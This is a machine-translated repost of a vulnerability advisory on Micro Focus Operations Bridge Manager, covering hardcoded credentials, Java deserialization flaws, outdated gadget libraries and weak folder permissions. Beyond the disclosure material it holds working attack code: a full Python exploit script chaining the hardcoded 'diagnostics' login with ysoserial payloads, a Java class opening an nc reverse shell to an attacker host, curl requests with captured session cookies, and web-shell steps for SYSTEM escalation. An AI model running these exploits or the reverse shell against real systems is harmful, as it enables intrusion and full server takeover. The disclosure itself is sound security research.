Micro Focus Operations Bridge Manager中的多个(RCE)漏洞

admin 2021年11月13日11:48:21评论162 views字数 19448阅读64分49秒阅读模式


从供应商的网站上。

OBM作为操作桥为您的IT操作提供了一个单一的控制中心。所有来自服务器、网络、应用程序、存储和基础设施中其他IT孤岛的事件和性能管理数据都会被整合到一个先进的中央事件控制台的单一事件流中。控制台将监控警报显示给相应的操作员团队。


您可以快速识别、监控、故障排除、报告和解决分布式 IT 环境中的问题。这些能力使您有可能改善您所监控环境中的基础设施和服务的性能和可用性,提高您的业务效率和生产力。OBM可以帮助您在业务服务质量下降之前定位并解决与事件相关的问题。它提供的工具可帮助操作员解决问题,而无需主题专家参与。这就使主题专家能够专注于战略活动。


特别感谢 "零日计划 "处理了这些漏洞对微焦点的披露。


Metasploit模块正在筹备中,并将很快发送到Metasploit框架进行整合。届时将更新本咨询。


总结

Micro Focus Operations Bridge Manager(OBM)是一个复杂的产品,用于监控和识别IT基础设施问题。它与其他企业软件如Micro Focus Operations Bridge Reporter、Micro Focus Network Node Manager i等集成。


下图显示了该产品如何集成到复杂的IT环境中:


Micro Focus Operations Bridge Manager中的多个(RCE)漏洞


该产品本身由以下部分组成。


OBM主应用程序,其中包括一个Java管理控制台,运行在443端口上。

UCMDB,后台管理系统,运行在8443端口。

Postgres数据库(默认情况下,可以使用其他数据库)

管理包(默认情况下只安装一个,有几个可用的管理包

其他可选部件,取决于安装类型

组件可以全部安装在一台主机上,也可以单独安装,可以安装在Windows和Linux操作系统中。


UCMDB组件的UI可以在8443端口使用,它似乎是一个独立的产品,集成在Micro Focus的几个产品中,当然包括OBM。


Micro Focus在其一款产品的文档中描述了它的用途。


Micro Focus Universal CMDB是一个配置管理数据库,为企业IT组织捕捉、记录和存储有关配置项(CI)、服务依赖和支持业务服务的关系的信息。


切开企业的说法,我们可以理解为它是管理OBM和其他Micro Focus产品配置信息的某种庞杂的数据库。


OBM需要开放大量的网络端口才能与其他主机进行通信,从它们的安装文档中可以看到,比如443(主网络应用)和8443(UCMDB)。这就给OBM提供了一个巨大的面向外部的攻击面。


在分析了OBM之后,我发现了一个堆积如山的关键安全漏洞,当这些漏洞组合在一起的时候,就会导致应用程序的完全破坏。


使用硬编码凭证

不安全的Java反序列化(不可思议的共41个)

使用过时和不安全的Java库

默认文件夹权限不正确(导致权限升级到系统)。

所有这些漏洞都会影响最新测试的版本(2020.05)和许多其他版本和产品,下面单独列出。Windows和Linux安装都会受到影响,除了权限升级漏洞,它只影响Windows。


解释Java反序列化,它如何被利用以及它的破坏性有多大,这超出了本咨询的范围。关于它的更多信息,强烈推荐以下链接。


Java Unmarshaller安全


Foxglove安全博客文章


漏洞详情

第1条:使用硬编码证书

CWE-798: 硬编码全权证书的使用

CVE-2020-11854 / ZDI-20-1287

风险分类。危急

攻击向量。远程

限制条件:无/不适用

受影响的产品/版本。

操作桥管理器版本。2020.05、2019.11、2019.05、2018.11、2018.05、10.6x和10.1x版本及旧版本。

应用性能管理版本。9.51、9.50和9.40,配备uCMDB 10.33 CUP 3。

运营桥(容器化)版本。2019.11, 2019.08, 2019.05, 2018.11, 2018.08, 2018.05, 2018.02, 2017.11

OBM的认证由UCMDB组件处理。安装后,会创建以下用户。


admin

sysadmin

UISysadmin

bsm_odb_customer1

diagnostics

这些用户只有在访问 UCMDB 组件时才可见。从主Web应用程序中,只有管理员和在主Web应用程序中创建的用户是可见的。


前面三个,admin、sysadmin和UISysadmin的密码都是一样的,这是在安装产品时由管理员设置的。只有admin可以登录主Web应用,其他的只能登录UCMDB。


我决定调查剩下的两个账户,即bsm_odb_customer1和诊断,因为文档中根本没有提到这两个账户。


虽然没有确定这些账户是如何设置的,但通过大量的测试,确定它们都必须有硬编码的密码。虽然bsm_odb_customer1的密码从未被发现,但诊断程序的密码是简单的 "admin"。


这使得任何人都可以以诊断程序的身份登录UCMDB组件。需要注意的是,这个用户是无权限的,但正如我们在下面看到的,这并不重要。


为了获得经过认证的LWSSO_COOKIE_KEY,我们需要向ucmdb-ui/cms/loginRequest.do发送一个请求,在查询字符串中包含用户名和密码(后者为64基编码):


POST /ucmdb-ui/cms/loginRequest.do;?customerID=1&isEncoded=false&userName=diagnostics&password=YWRtaW4=&ldapServerName=UCMDB HTTP/1.1


样本A:HTTP POST UCMDB登录请求


UCMDB服务器将对其作出以下回应:


HTTP/1.1 200 OKDate: Sun, 17 May 2020 21:13:21 GMTX-Frame-Options: SAMEORIGINContent-Security-Policy: frame-ancestors 'self'X-Content-Type-Options: nosniffX-Xss-Protection: 1; mode=blockStrict-Transport-Security: max-age=31536000Set-Cookie: LWSSO_COOKIE_KEY=WTQwNdgFlDSM1Il1XTlWJGErjHIGDg54mzv4Yu51_HMk3mrLF7ZMB6KeRecN30sWkdkEFJyLpqUGQ0hXQnPiapbw1891iuGEOW4Ewfk8XNUnIJsouObXN-GaZHLhkfHNlUKp73qEqqvY594n2P5O2sqsn9KYrK7PuGQ5FE0ddKkI2pIvn0rkbT2eRFVdSpHhk-6SadvfLm-CbzdrgLV2INWQgYlYtqMLevI5iv8byN4.; Path=/; HTTPOnly=; Secure=Expires: Thu, 01 Jan 1970 00:00:00 GMTAuthentication-Result-Key: AUTHENTICATED_SUCCESSFULLYLOCALE: enContent-Language: enContent-Type: text/html;charset=utf-8Content-Length: 26983
<... POST DATA ...>


样本B:HTTP POST UCMDB登录响应


......其中包含诊断用户的完全认证的LWSSO_COOKIE_KEY。


Linux和Windows版本的OBM都受到这个漏洞的影响。


2: UCMDB 服务中不安全的 Java 反序列化功能

CWE-502。不受信任数据的解串联

CVE-2020-11853 / ZDI-20-1288 至 ZDI-20-1325

风险分类。危急

攻击向量。远程

限制条件:需要认证

受影响的产品/版本。

操作桥管理器版本。2020.05、2019.11、2019.05、2018.11、2018.05、10.6x和10.1x版本及旧版本。

应用性能管理版本。9.51、9.50和9.40,带uCMDB 10.33 CUP 3。

数据中心自动化2019.11版本

运营桥(容器化)版本。2019.11, 2019.08, 2019.05, 2018.11, 2018.08, 2018.05, 2018.02, 2017.11

通用CMDB版本。2020.05, 2019.11, 2019.05, 2019.02, 2018.11, 2018.08, 2018.05, 11, 10.33, 10.32, 10.31, 10.30

混合云管理2020.05版本

服务管理自动化2020.5和2020.02版本。

UCMDB组件可以通过以下方式访问。


Java小程序网页界面

Java客户端

REST API

在调查Java稠密客户端时发现,经过认证后,其几乎所有的通信都是使用Java序列化对象完成的。


这意味着,经过认证的攻击者只需将一个恶意的Java对象序列化到POST体中,注入到其中一个易受攻击的端点,就可以立即实现以root或SYSTEM的身份进行远程代码执行。


漏洞端点共有38个:


/ucmdb/services/CmdbOperationExecuterService/ucmdb/services/CategoryFacadeForGui/ucmdb/services/CorrelationFacadeForGui/ucmdb/services/CorrelationRunnerFacade/ucmdb/services/PackageFacadeForGui/ucmdb/services/SchedulerFacadeForGui/ucmdb/services/FoldersFacade/ucmdb/services/BusinessModelFacadeForGui/ucmdb/services/WatchServerAPI/ucmdb/services/TopologyService/ucmdb/services/ReportService/ucmdb/services/CMSImagesService/ucmdb/services/PatternService/ucmdb/services/FolderService/ucmdb/services/RelatedCIsService/ucmdb/services/MailService/ucmdb/services/DiscoveryService/ucmdb/services/ServiceDiscoveryService/ucmdb/services/SoftwareLibraryService/ucmdb/services/DataAcquisitionService/ucmdb/services/CIService/ucmdb/services/HistoryService/ucmdb/services/BundleService/ucmdb/services/LocationService/ucmdb/services/SchedulerService/ucmdb/services/ImpactService/ucmdb/services/CommonService/ucmdb/services/PermissionsService/ucmdb/services/ClassModelService/ucmdb/services/SnapshotService/ucmdb/services/LDAPService/ucmdb/services/CITService/ucmdb/services/MultiTenancyService/ucmdb/services/SecurityService/ucmdb/services/ResourceManagementService/ucmdb/services/AutomationMappingService/ucmdb/services/LicensingService/ucmdb/services/GenericAdapterService


下面可以看到一个对具有讽刺意味的SecurityService的请求示例:


POST /ucmdb-ui/services/SecurityService HTTP/1.1Host: 10.10.10.99:8443User-Agent: python-requests/2.23.0Accept-Encoding: gzip, deflateAccept: */*Connection: closecontent-type: application/x-java-serialized-objectCookie: LWSSO_COOKIE_KEY=1fezNb7T1QRggkhFBrYhMCuiSchrqKdyAabSSOMrZMeP28-FiIyzLNlVV9KBagKsLjiUbGdJ0mWen7OvATgC3LiWmlGRQw5vnTzm9tV8f3tIfOqXvbZIWudk4vajf4Qqux-X2S1MJJB6b2ikNA9M921ilRDptEY0IqeiQ68mxIAFs5PxS9I22r5YszZMSMYme05GgtdbQQA-JqOvDrRNYOFca5IZgtbpGkHzCPUUyLk.Content-Length: 6855
<JAVA_SERIALIZED_OBJECT>


这个POST请求,如果用经过验证的LWSSO_COOKIE_KEY来完成,如果<JAVA_SERIALIZED_OBJECT>是ysoserial的有效载荷,那么将导致以root / SYSTEM的身份立即执行代码。


为了理解这一点是如何工作的,我们需要更深入地了解一下。上面使用的所有端点都是Spring Framework远程服务的实现。这些服务调用由com.hp.ucmdb.uiserver.services.context.CmdbHttpInvokerServiceExporter处理,它是一个实现org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter的类。Javadoc中对它有很好的描述:


基于Servlet-API的HTTP请求处理程序,将指定的服务Bean导出为HTTP invoker服务端点,通过HTTP invoker代理访问。解串化远程调用对象,并序列化远程调用结果对象。像RMI一样使用Java序列化,但提供了与Caucho基于HTTP的Hessian协议相同的设置简易性。


HTTP invoker是Java对Java远程的推荐协议。它比Hessian更强大,可扩展性更强,但代价是与Java绑定。尽管如此,它和Hessian一样容易设置,这是它与RMI相比的主要优势。


警告:请注意由于不安全的Java反序列化所导致的漏洞。在反序列化步骤中,被操纵的输入流可能导致服务器上不必要的代码执行。因此,不要将HTTP invoker端点暴露给不受信任的客户端,而只是在自己的服务之间暴露。一般来说,我们强烈建议使用任何其他的消息格式(例如JSON)来代替。


在实践中,它以如下方式工作:上面列出的服务(例如SecurityService)以允许远程方法调用的方式实现。下面的片段包含了SecurityService实现的代码(com.hp.ucmdb.uiserver.services.cmdb.impl.SecurityServiceImpl):


 public boolean isServerAdministrator() {    try {      UcmdbServiceInternal sdk = (UcmdbServiceInternal)ServerContext.get().executeInSessionlessContext(this.sessionContext.getSessionInfo().getCustomerContext(), new SessionlessContextExecutable<UcmdbServiceInternal>() {            public UcmdbServiceInternal run(SessionContext sessionContext) {              return sessionContext.getCmdbConnector().getSdk();            }          });      UserId userId = this.sessionContext.getSessionInfo().getLoggedInUserId();      return sdk.getAuthorizationModelServiceInternal().isServerAdministrator(userId);    } catch (CmdbException e) {      LOG.error("User could not be found in URM", (Throwable)e);      return false;    } catch (Exception e) {      LOG.error("Error to get ServerAdministrator from URM", e);      return false;    }   }


C片段:com.hp.ucmdb.uiserver.services.cmdb.impl.SecurityServiceImpl.isServerAdministrator()


从上面可以看出,这个方法返回的是登录用户是否是管理员。为了使这个方法能够被远程调用,我们必须使用通过HTTP POST请求发送序列化的方法调用请求。这些对象默认是Java序列化对象,会被前面提到的HttpInvokerServiceExporter Spring Remoting类接收,然后传递给实现的服务。


虽然上面所有的端点都实现了不同的功能和服务,但它们都可以用同样的方式进行攻击。上面列出的每个服务类可能有几个或几十个方法,很可能还有更多的(非解串化)漏洞潜伏在那里。


如果将这些漏洞与漏洞#1连锁起来,未经认证的攻击者就可以轻松地在OBM主机中执行代码。为了达到这个目的,需要采取以下步骤。


用诊断用户认证UCMDB,如片段A和片段B所示。

使用所需的命令创建一个ysoserial CommonsBeanutils1有效载荷。

将POST体中的payload连同步骤1中获得的LWSSO_COOKIE_KEY一起发送到/ucmdb-ui/services/SecurityService(或上面列出的任何其他服务端点)。

下面的Python代码执行了这个链中的所有步骤:


#!/usr/bin/python3### Exploit for Micro Focus Operations Bridge Manager 2020.05 UCMDB Services Insecure Java Deserialization (CVE-2020-11853)## By Pedro Ribeiro ([email protected] | @pedrib1337) from Agile Information Security#import sysimport osimport requests
def usage(): print("Usage: ./obmPwn.py <RHOST> <YSOSERIAL_JAR> <COMMAND>") exit(1)
if len(sys.argv) < 4: usage()
rhost = sys.argv[1]ysoserial = sys.argv[2]command = sys.argv[3]
if not os.path.exists(ysoserial): usage()
requests.packages.urllib3.disable_warnings()
print("[*] Generating ysoserial payload with command %s" % (command))os.system("java -jar %s CommonsBeanutils1 '%s' > /tmp/payload.ser" % (ysoserial, command))
url_base = "https://%s:8443/ucmdb-ui" % (rhost)
url_login = url_base + "/cms/loginRequest.do;?customerID=1&isEncoded=false&userName=diagnostics&password=YWRtaW4=&ldapServerName=UCMDB"print("[*] Authenticating to %s" % (url_login))ses = requests.Session()res = ses.post(url_login, verify=False)
auth = Nonefor cookie in res.cookies.items(): if cookie[0] == "LWSSO_COOKIE_KEY": auth = cookie
if auth == None: print("[-] Failed to authenticate and obtain LWSSO_COOKIE_KEY") exit(1)else: print("[+] We are now authenticated and obtained our LWSSO_COOKIE_KEY!")
# SecurityService is used here, but any of the other 37 endpoints can be usedurl_pwn = url_base + "/services/SecurityService"print("[*] Sending ysoserial payload to %s" % (url_pwn))
headers = {'content-type': 'application/x-java-serialized-object'}with open('/tmp/payload.ser', 'rb') as payload: res = ses.post(url_pwn, headers=headers, data=payload, verify=False) if res.status_code == 500: print("[+] Success, your command has been executed!") else: print("[-] Something went wrong, please try again...")


用以下方式运行利用代码。


python3 ucmdbPwn.py 10.10.10.99 ysoserial-master-SNAPSHOT.jar calc.exe


......将导致calc.exe在运行OBM的Windows主机中以SYSTEM的形式执行,10.10.10.99:


Micro Focus Operations Bridge Manager中的多个(RCE)漏洞


Linux和Windows版本的OBM都受到这个漏洞的影响。下面的asciinema cast显示了Linux版本的OBM上的漏洞利用情况:


演示视频:https://asciinema.org/a/376442


Micro Focus Operations Bridge Manager中的多个(RCE)漏洞


3:RegistrationServlet中不安全的Java反序列化

CWE-502。不受信任数据的解串联

CVE-2020-11853 / ZDI-20-1327

风险分类。危急

攻击向量。远程

限制条件:需要认证

受影响的产品/版本。

操作桥管理器版本。2020.05、2019.11、2019.05、2018.11、2018.05、10.6x和10.1x版本及旧版本。

应用性能管理版本。9.51、9.50和9.40,带uCMDB 10.33 CUP 3。

数据中心自动化2019.11版本

运营桥(容器化)版本。2019.11, 2019.08, 2019.05, 2018.11, 2018.08, 2018.05, 2018.02, 2017.11

通用CMDB版本。2020.05, 2019.11, 2019.05, 2019.02, 2018.11, 2018.08, 2018.05, 11, 10.33, 10.32, 10.31, 10.30

混合云管理2020.05版本

2020.5和2020.02版本的服务管理自动化。

OBM在端点/legacy/topaz/sitescope/conf/registration处暴露了类com.hp.opr.legacy.sitescope.servlet.RegistrationServlet。


下面的片段显示了doPost()方法的反编译代码:


public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  ObjectInputStream ois = new ObjectInputStream((InputStream)request.getInputStream());  HashMap<Object, Object> requestMap = null;  try {    requestMap = (HashMap<Object, Object>)ois.readObject();  } catch (ClassNotFoundException e) {    s_logger.error("Could not get object from request.");    response.sendError(400, "Could not get object from request.");    return;  }   if (requestMap == null) {    s_logger.error("Could not get sample_t from request.");    response.sendError(400, "Could not get sample_t from request.");    return;  }   String apiName = request.getParameter("apiName");  if (apiName == null || apiName.equals("")) {    s_logger.error("Could not get api_name from request.");    response.sendError(400, "Could not get api_name from request.");    return;  }   APIHandler h = APIHandlersDictionary.getHandler(apiName);  if (h == null) {    s_logger.error("doPost: dont have handler for api_name ='" + apiName + "'");    response.sendError(400, "doPost: dont have handler for supplied api_name");    return;  }   if (s_logger.isDebugEnabled())    s_logger.debug("doPost: Found handler for api " + apiName + ", invoking it...");   invokeHandler(h, requestMap, response);  }


D片段:com.hp.pr.legacy.sitescope.servlet.RegistrationServlet.doPost()


从前几行可以看出,这个servlet包含了一个经典的,运行中的Java Deserialization漏洞。HTTP POST请求的请求体被变成了一个ObjectInputStream,然后readObject()被调用。


触发这个漏洞是很简单的,只需要向/legacy/topaz/sitescope/conf/registration发送一个POST请求,请求体带有漏洞。


为了利用它,需要用c3p0 0.9.1.2编译ysoserial。在编译前,应将 Snippet E 中的补丁应用于 ysoserial:


diff --git a/pom.xml b/pom.xmlindex 73d39c4..9d27473 100644--- a/pom.xml+++ b/pom.xml@@ -239,7 +239,7 @@                <dependency>                        <groupId>com.mchange</groupId>                        <artifactId>c3p0</artifactId>-                       <version>0.9.5.2</version>+                       <version>0.9.1.2</version>                </dependency>                <dependency>                        <groupId>javax.servlet</groupId>


代码集 E: 为 c3p0 0.9.1.2 编译的 ysoserial 打补丁。


为了在Windows中使用c3p0 ysoserial有效载荷进行利用,我们需要生成一个 "利用类":


cat  << EOF > ExploitClass.javapublic class ExploitClass {  public ExploitClass() throws Exception {    Runtime rt = Runtime.getRuntime();    // for Linux    String[] commands = {"/bin/sh", "-c", "nc 10.10.10.1 8888 -e /bin/sh"};    // for Windows    //String[] commands = {"cmd", "/c", "mspaint.exe"};    Process pc = rt.exec(commands);    pc.waitFor();  }}EOF


样本F:ExploitClass代码


ExploitClass代码需要用Java 8编译:


/usr/lib/jvm/java-8-openjdk-amd64/bin/javac ExploitClass.java


然后我们启动一个为对象服务的Python服务器,以及一个接收反向shell的监听器(假设我们攻击的是Linux服务器):


python -m SimpleHTTPServer 4444 &nc -lvknp 8888


用我们新行编译的ysoserial生成有效载荷:


java -jar ysoserial-0.0.6-SNAPSHOT-all-c3p0-0.9.1.2.jar C3P0 "http://10.10.10.1:4444/:ExploitClass" > /tmp/payload.ser


COOKIE='Cookie: JSESSIONID=xQJJmHDwOQMlAL93PaLPE4PA; LWSSO_COOKIE_KEY=mqx8GAJdW7M8dh5bO99hiZjXAgOHmdteaLsy_c9N77F6n2fFB_XWpe0wDHnpG-x2RbOHNm3H7hjHsmYpRc4PPg2ohEFN7duztvJD0M_u3GUcg_YUJPy5c6ewbqi61FRllh0AoNwAb5K-1fN-uRVK0c8yEVVIkBbxn9vxsCEhofRbZNdtnDQMb3WUeb7yInwRAzfPICWMnE5iuJ_TTyTDlw..;'
curl -i -s -k -X $'POST' -H $'Host: 10.10.10.99' --data-binary @/tmp/payload.ser -H $'Content-Type: application/octet-stream' -H 'Expect:' -H "$COOKIE" $'https://10.10.10.99/legacy/topaz/sitescope/conf/registration'


样本G:curl请求触发Java反序列化。


这将导致Python web服务器收到ExploitClass的请求,然后是我们的反向shell:


10.10.10.99 - - [] "GET /ExploitClass.class HTTP/1.1" 200 -connect to [10.10.10.1] from (UNKNOWN) [10.10.10.99] 55340whoamirootiduid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0uname -aLinux centos7.nat 3.10.0-1062.18.1.el7.x86_64 #1 SMP Tue Mar 17 23:49:17 UTC 2020 x86_64 x86_64 x86_64 GNU/Linuxlshpbsmd.pidlibwrapper.sonannyWrapperRunner.shwrapperwrapper.jarpwd/opt/HP/BSM/supervisor/wrapper


请注意,这个漏洞只能被登录到主Web应用程序的攻击者利用。不幸的是,对于攻击者来说,由于漏洞#1中讨论的诊断账户不能用于登录到主Web应用程序,因此只有通过其他方式实现身份验证时,该漏洞仍然可以利用。


为了运行Snippet G中的漏洞,首先使用有效账户在443端口上对主Web应用程序进行身份验证,然后在执行curl命令之前将COOKIE变量改为身份验证后收到的LWSSO_COOKIE_KEY。


Linux和Windows版本的OBM都会受到这个漏洞的影响。


4:SAMDownloadServlet中不安全的Java反序列化

CWE-502。不受信任数据的解串联

CVE-2020-11853 / ZDI-20-1328

风险分类。危急

攻击向量。远程

限制条件:需要认证

受影响的产品/版本。

操作桥管理器版本。2020.05、2019.11、2019.05、2018.11、2018.05、10.6x和10.1x版本及旧版本。

应用性能管理版本。9.51、9.50和9.40,带uCMDB 10.33 CUP 3。

数据中心自动化2019.11版本

运营桥(容器化)版本。2019.11, 2019.08, 2019.05, 2018.11, 2018.08, 2018.05, 2018.02, 2017.11

通用CMDB版本。2020.05, 2019.11, 2019.05, 2019.02, 2018.11, 2018.08, 2018.05, 11, 10.33, 10.32, 10.31, 10.30

混合云管理2020.05版本

2020.5和2020.02版本的服务管理自动化。

另一个存在非常简单的Java反序列化漏洞的servlet是com.hp.opr.legacy.sitescope.servlet.SAMDownloadServlet,它暴露在/legacy/topaz/sitescope/conf/download处。


doPost()方法的代码如下所示:


 public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  Map<Object, Object> requestMap;  ObjectInputStream ois = new ObjectInputStream((InputStream)request.getInputStream());  try {    requestMap = (Map<Object, Object>)ois.readObject();  } catch (ClassNotFoundException e) {    s_logger.error("Could not get object from request.");    response.sendError(400, "Could not get object from request.");    return;  }   if (requestMap == null) {    s_logger.error("Could not get requestMap from request.");    response.sendError(400, "Could not get requestMap from request.");    return;  }   if (!validateData(requestMap)) {    response.sendError(400, "Unable to validate properties from request.");    return;  }   String xmlValue = handleRequest(requestMap);  response.setContentType("text/xml; charset=UTF-8");  PrintWriter writer = response.getWriter();  writer.write(xmlValue);  }


Snippet H: com.hp.pr.legacy.sitescope.servlet.SAMDownloadServlet.doPost()


漏洞#3的限制条件同样适用于这个漏洞。需要进行身份验证,不能使用漏洞#1中的硬编码诊断账户,并且需要使用打过补丁的ysoserial与c3p0 0.9.1.2来进行利用。


这个漏洞的利用方式与前一个漏洞完全相同,唯一需要修改的是Snippet G的目标URL,必须改为/legacy/topaz/sitescope/conf/download。


Linux和Windows版本的OBM都会受到这个漏洞的影响。


5:RemoteProxyServlet中不安全的Java反序列化问题

CWE-502。不受信任数据的解串联

未指定CVE

风险分类。危急

攻击向量。远程

限制条件:无/不适用

受影响的产品/版本。

Micro Focus Operations Bridge Manager 2020.05 (早期版本可能受影响)

最后一个存在Java反序列化漏洞的servlet是com.mercury.util.proxy.servlet.RemoteProxyServlet,它在/topaz/remoteProxy和/topaz/kpiQueryServiceProxy暴露了两个端点。


该servlet的doPost()方法部分如下图所示:


protected final void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse)      throws ServletException, IOException {    InvocationInfo invocationInfo = null;    Method method = null;
InvocationResult returnedresult; try { ObjectInputStream objectInputStream = new ObjectInputStream(httpServletRequest.getInputStream()); invocationInfo = (InvocationInfo) objectInputStream.readObject(); Object controller = this.getTargetObject(httpServletRequest, invocationInfo); validateProxiedObjectState(controller, invocationInfo); Object result; synchronized (controller) { if (controller instanceof RequestSupport) { ((RequestSupport) controller).setRequest(httpServletRequest); }
method = controller.getClass().getMethod(invocationInfo.getMethodName(), invocationInfo.getParameterTypes()); result = method.invoke(controller, invocationInfo.getArgs()); }
if (ProxyUtils.isStatefulFactory(invocationInfo.getDeclaringClass())) { String key = getUniqueSessionID(invocationInfo); HttpSession session = httpServletRequest.getSession(true); session.setAttribute(key, result); result = "Stateful Proxy for " + method.getReturnType().getSimpleName() + " was initiated succesfully using the following ProxyStatefulFactory class :" + invocationInfo.getDeclaringClass().getSimpleName() + " JSESSIONID=" + session.getId(); }
returnedresult = new InvocationResult(result, (Throwable) null); } catch (Throwable var12) { Throwable e1 = writeToServerLog(var12, method); returnedresult = new InvocationResult((Object) null, e1); }
if (_log.isDebugEnabled()) { postResponseWithDebug(httpServletResponse, returnedresult, invocationInfo, httpServletRequest.getSession().getId()); } else { postResponse(httpServletResponse, returnedresult); }(...)


样本一:com.mercury.util.proxy.servlet.RemoteProxyServlet.doPost()


然而,我们又有一个直接的Java反序列化漏洞:HTTP POST请求的主体在没有被检查或修改的情况下被作为一个对象读取。


这个漏洞与之前的漏洞相比,有一个很大的优势--它可以被未经认证的攻击者触发。不幸的是,对于攻击者来说,JBoss应用服务器的Java classpath不包含任何易受攻击的小工具。


可以通过使用ysoserial的URLDNS小工具来确认该漏洞:


java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://fakesitethatdoesntexist.com" > /tmp/payload.ser


curl -i -s -k -X $'POST'   -H $'Host: 10.10.10.99'   --data-binary @/tmp/payload.ser   -H $'Content-Type: application/octet-stream' -H 'Expect:'    $'https://10.10.10.99/topaz/kpiQueryServiceProxy'


这将导致发送DNS查询来解析 "fakesitethatdoesntexist.com"。


虽然classpath不包含任何开箱即用的小工具,但有足够时间和耐心的攻击者很可能能够构建一个Java小工具链,将这个概念证明转化为未经认证的远程代码执行。


6:使用过时和不安全的Java库

CWE-1104:使用未维护的第三方组件。

未指定CVE

风险分类。危急

攻击载体。不适用

限制条件:无/不适用

受影响的产品/版本。

Micro Focus Operations Bridge Reporter 10.40 (早期版本可能受影响)

如果不是因为在OBM中使用了极其过时的Java库,#2、#3和#4中列出的漏洞可能更难被利用。这些库中包含的Java小工具可以用来实现远程代码执行,就像上面描述的那样。


产品中存在许多过时的、易受攻击的库,但以下库包含了被广泛滥用的Java反序列化小工具。


Apache Commons BeanUtils 1.9.3

BeanShell 2.0b4

C3P0 0.9.1.2

如果这些都不存在于classpath中,那么要利用漏洞#2、#3和#4就会难上加难,导致出现像漏洞#5中描述的情况(不执行代码的概念验证),并且需要花费更多的精力去利用。


所述的三个库包含的小工具都是开箱即用的,或者只需对ysoserial中的有效载荷进行最小的调整,这使得它们非常容易被滥用。


7: 默认文件夹权限不正确(导致权限升级到SYSTEM)

CWE-276: 默认权限不正确

CVE-2020-11858 / ZDI-20-1326

风险分类。危急

攻击载体。本地

限制条件:无/不适用

受影响的产品/版本。

操作桥管理器版本。2020.05、2019.11、2019.05、2018.11、2018.05、10.6x和10.1x版本及旧版本。

运营桥(容器化)版本。2019.11, 2019.08, 2019.05, 2018.11, 2018.08, 2018.05, 2018.02, 2017.11

OBM默认将自己安装在C:HPBSM中。安装完成后,这个目录及其所有子文件夹都设置了 "特殊权限"。


特殊权限位可以从下面的截图中看到:


Micro Focus Operations Bridge Manager中的多个(RCE)漏洞

如果我们进一步钻研,我们可以看到 "普通"(非管理员)用户的实际权限:


Micro Focus Operations Bridge Manager中的多个(RCE)漏洞


因此,显然 "普通 "用户可以向C:HPBSM和它的所有子文件夹写入文件。


从这里开始,从 "普通 "用户到SYSTEM的权限升级几乎是微不足道的。


以 "普通 "用户(或访客)的身份登录到安装OBM的Windows系统中去

在Metasploit中创建一个JSP web shell,并启动exploit/multi/handler来接收它。

将web shell复制到Tomcat webapps目录中,并将其重命名为LB_Verify.jsp(C:HPBSMAppServerwebappssite.warLB_Verify.jsp)

访问web服务器上的shell路径(http://TARGET/topaz/LB_Verify.jsp)

在Metasploit中接收SYSTEM shell,享受吧!

几乎琐碎的部分是由于shell的重命名为LB_Verify.jsp。这是绝对必要的,原因如下。


只有某些路径允许未认证的用户访问(LB_Verify.jsp就是其中之一)。

作为Guest/无权用户,我们可以直接写入文件,但不能删除或修改任何现有文件,幸运的是LB_Verify.jsp并不存在。

点击这里查看视频,可以看到完整的操作链。


需要注意的是,Micro Focus的Hardening文档规定,这些权限应该在安装后更改。


OBM安装目录。将OBM安装目录的访问权限限制为特权用户。我们建议只允许SYSTEM账户和Administrators组访问这个目录。


然而这就引出了一个问题--为什么在产品安装完成后不做?此外,文档还存在误导性:它应该说安装文件夹和所有子文件夹不应该被管理员访问。


虽然这一点是有记录的,但它仍然是一个严重的漏洞,如果没有理由设置这些权限,那么它们应该由安装程序自动解除设置。


只有Windows版本的OBM受到这个漏洞的影响。



修复/解决方案

        请参考每个漏洞中的CVE链接,并升级到受影响产品的最新版本。


本文始发于微信公众号(Khan安全攻防实验室):Micro Focus Operations Bridge Manager中的多个(RCE)漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月13日11:48:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Micro Focus Operations Bridge Manager中的多个(RCE)漏洞https://cn-sec.com/archives/535144.html

发表评论

匿名网友 填写信息